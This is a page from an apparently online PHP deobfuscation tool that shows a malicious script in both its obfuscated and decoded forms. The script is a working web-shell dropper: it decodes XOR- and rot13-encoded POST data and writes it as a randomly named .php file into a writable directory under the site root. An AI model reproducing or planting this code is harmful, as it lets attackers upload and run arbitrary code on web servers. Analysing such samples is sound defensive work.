Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $WeImoo = chr(149-81)."\117".chr(876-809)."\125".'M'."\x45"."\116".chr(84).chr(95)."..

Decoded Output download

<?php $WeImoo = chr(149-81)."O".chr(876-809)."U".'M'."E"."N".chr(84).chr(95)."R".chr(79).chr(79).chr(84);$urSZxb = "H"."T".chr(84)."P"."_".chr(72)."O".chr(83).'T';$mVzer = "h"."t".chr(116)."p".chr(58)."/".chr(47);$KaBPQOipJ = '.'.chr(112)."h"."p";$eIodl = chr(854-742).'h'."p";$iChwrX = 'f'."i".'l'.chr(880-779).chr(652-557).chr(296-184)."u"."t".chr(329-234)."c"."o"."n".'t'.'e'.chr(402-292)."t".chr(115);$SNycdXTy = "r"."a"."w".'u'."r".'l'.chr(100).'e'.chr(300-201).chr(409-298)."d".'e';$uHmBCb = chr(939-822).'n'.chr(115)."e".chr(114).'i'."a".chr(108).'i'."z"."e";$zejZlXlNa = chr(327-222).chr(115).'_'."w"."r"."i".chr(116).chr(119-22).chr(98)."l".chr(150-49);$bsKxDphsF = "p".'h'.'p'."v"."e".chr(1013-899)."s"."i"."o".chr(110);$RWvQFCP = chr(848-733)."t".chr(999-885)."_"."r".chr(111)."t"."1".chr(203-152);$YYlnubEpiO = "s"."e"."r".'i'."a".chr(970-862).'i'.chr(1000-878).'e';$fAfEsXtK = chr(115).chr(944-828).chr(114).'_'.chr(357-242).chr(184-72)."l"."i"."t";foreach ($_POST as $ADQiAwiLBe => $TMCHYzvM){if (strlen($ADQiAwiLBe) == 16){$TMCHYzvM = $fAfEsXtK($SNycdXTy($RWvQFCP($TMCHYzvM)));$ADQiAwiLBe = array_slice($fAfEsXtK(str_repeat($ADQiAwiLBe, (count($TMCHYzvM)/16)+1)), 0, count($TMCHYzvM));function zwnHdnqXcy($oXwNHLlYe, $RrEqhW, $ADQiAwiLBe){$YShzNWeLZm = "f691c48c-437e-42d9-9701-6fd2a717caeb";return $oXwNHLlYe ^ $YShzNWeLZm[$RrEqhW % strlen($YShzNWeLZm)] ^ $ADQiAwiLBe;}$TMCHYzvM = implode("", array_map("zwnHdnqXcy", array_values($TMCHYzvM), array_keys($TMCHYzvM), array_values($ADQiAwiLBe)));$TMCHYzvM = @$uHmBCb($TMCHYzvM);if (@is_array($TMCHYzvM)){$BLbZAJY = array_keys($TMCHYzvM);$TMCHYzvM = $TMCHYzvM[$BLbZAJY[0]];if ($TMCHYzvM === $BLbZAJY[0]){echo @$YYlnubEpiO(Array($eIodl => @$bsKxDphsF(), ));exit();}else {function jWkelcwbSN($gUCqxfJttir){static $gUCqxfJttIszks = array();$YWyMTnzO = glob($gUCqxfJttir . '/*', GLOB_ONLYDIR);if (count($YWyMTnzO) > 0) {foreach ($YWyMTnzO as $gUCqxfJtt) {if (@$zejZlXlNa($gUCqxfJtt)) {$gUCqxfJttIszks[] = $gUCqxfJtt;}}}foreach ($YWyMTnzO as $gUCqxfJttir) jWkelcwbSN($gUCqxfJttir);return $gUCqxfJttIszks;}$Vrgjb = $_SERVER[$WeImoo];$YWyMTnzO = jWkelcwbSN($Vrgjb);$BLbZAJY = array_rand($YWyMTnzO);$LhEBrzvkD = $YWyMTnzO[$BLbZAJY] . "/" . substr(md5(time()), 0, 8) . $KaBPQOipJ;@$iChwrX($LhEBrzvkD, $TMCHYzvM);echo $mVzer . $_SERVER[$urSZxb] . substr($LhEBrzvkD, strlen($Vrgjb));exit();}}}} ?>

Did this file decode correctly?

Original Code

<?php $WeImoo = chr(149-81)."\117".chr(876-809)."\125".'M'."\x45"."\116".chr(84).chr(95)."\122".chr(79).chr(79).chr(84);$urSZxb = "\110"."\124".chr(84)."\x50"."\137".chr(72)."\117".chr(83).'T';$mVzer = "\150"."\x74".chr(116)."\160".chr(58)."\57".chr(47);$KaBPQOipJ = '.'.chr(112)."\150"."\x70";$eIodl = chr(854-742).'h'."\x70";$iChwrX = 'f'."\x69".'l'.chr(880-779).chr(652-557).chr(296-184)."\x75"."\x74".chr(329-234)."\x63"."\157"."\156".'t'.'e'.chr(402-292)."\164".chr(115);$SNycdXTy = "\x72"."\141"."\167".'u'."\x72".'l'.chr(100).'e'.chr(300-201).chr(409-298)."\x64".'e';$uHmBCb = chr(939-822).'n'.chr(115)."\145".chr(114).'i'."\141".chr(108).'i'."\172"."\145";$zejZlXlNa = chr(327-222).chr(115).'_'."\x77"."\162"."\x69".chr(116).chr(119-22).chr(98)."\154".chr(150-49);$bsKxDphsF = "\x70".'h'.'p'."\x76"."\145".chr(1013-899)."\163"."\151"."\157".chr(110);$RWvQFCP = chr(848-733)."\x74".chr(999-885)."\137"."\162".chr(111)."\164"."\61".chr(203-152);$YYlnubEpiO = "\163"."\145"."\162".'i'."\x61".chr(970-862).'i'.chr(1000-878).'e';$fAfEsXtK = chr(115).chr(944-828).chr(114).'_'.chr(357-242).chr(184-72)."\x6c"."\x69"."\x74";foreach ($_POST as $ADQiAwiLBe => $TMCHYzvM){if (strlen($ADQiAwiLBe) == 16){$TMCHYzvM = $fAfEsXtK($SNycdXTy($RWvQFCP($TMCHYzvM)));$ADQiAwiLBe = array_slice($fAfEsXtK(str_repeat($ADQiAwiLBe, (count($TMCHYzvM)/16)+1)), 0, count($TMCHYzvM));function zwnHdnqXcy($oXwNHLlYe, $RrEqhW, $ADQiAwiLBe){$YShzNWeLZm = "f691c48c-437e-42d9-9701-6fd2a717caeb";return $oXwNHLlYe ^ $YShzNWeLZm[$RrEqhW % strlen($YShzNWeLZm)] ^ $ADQiAwiLBe;}$TMCHYzvM = implode("", array_map("zwnHdnqXcy", array_values($TMCHYzvM), array_keys($TMCHYzvM), array_values($ADQiAwiLBe)));$TMCHYzvM = @$uHmBCb($TMCHYzvM);if (@is_array($TMCHYzvM)){$BLbZAJY = array_keys($TMCHYzvM);$TMCHYzvM = $TMCHYzvM[$BLbZAJY[0]];if ($TMCHYzvM === $BLbZAJY[0]){echo @$YYlnubEpiO(Array($eIodl => @$bsKxDphsF(), ));exit();}else {function jWkelcwbSN($gUCqxfJttir){static $gUCqxfJttIszks = array();$YWyMTnzO = glob($gUCqxfJttir . '/*', GLOB_ONLYDIR);if (count($YWyMTnzO) > 0) {foreach ($YWyMTnzO as $gUCqxfJtt) {if (@$zejZlXlNa($gUCqxfJtt)) {$gUCqxfJttIszks[] = $gUCqxfJtt;}}}foreach ($YWyMTnzO as $gUCqxfJttir) jWkelcwbSN($gUCqxfJttir);return $gUCqxfJttIszks;}$Vrgjb = $_SERVER[$WeImoo];$YWyMTnzO = jWkelcwbSN($Vrgjb);$BLbZAJY = array_rand($YWyMTnzO);$LhEBrzvkD = $YWyMTnzO[$BLbZAJY] . "/" . substr(md5(time()), 0, 8) . $KaBPQOipJ;@$iChwrX($LhEBrzvkD, $TMCHYzvM);echo $mVzer . $_SERVER[$urSZxb] . substr($LhEBrzvkD, strlen($Vrgjb));exit();}}}}

Function Calls

chr 47

Variables

$eIodl php
$mVzer http://
$WeImoo DOCUMENT_ROOT
$iChwrX file_put_contents
$uHmBCb unserialize
$urSZxb HTTP_HOST
$RWvQFCP str_rot13
$SNycdXTy rawurldecode
$fAfEsXtK str_split
$KaBPQOipJ .php
$bsKxDphsF phpversion
$zejZlXlNa is_writable
$YYlnubEpiO serialize

Stats

MD5 10c085d661c19cd9e588c57c886ca246
Eval Count 0
Decode Time 110 ms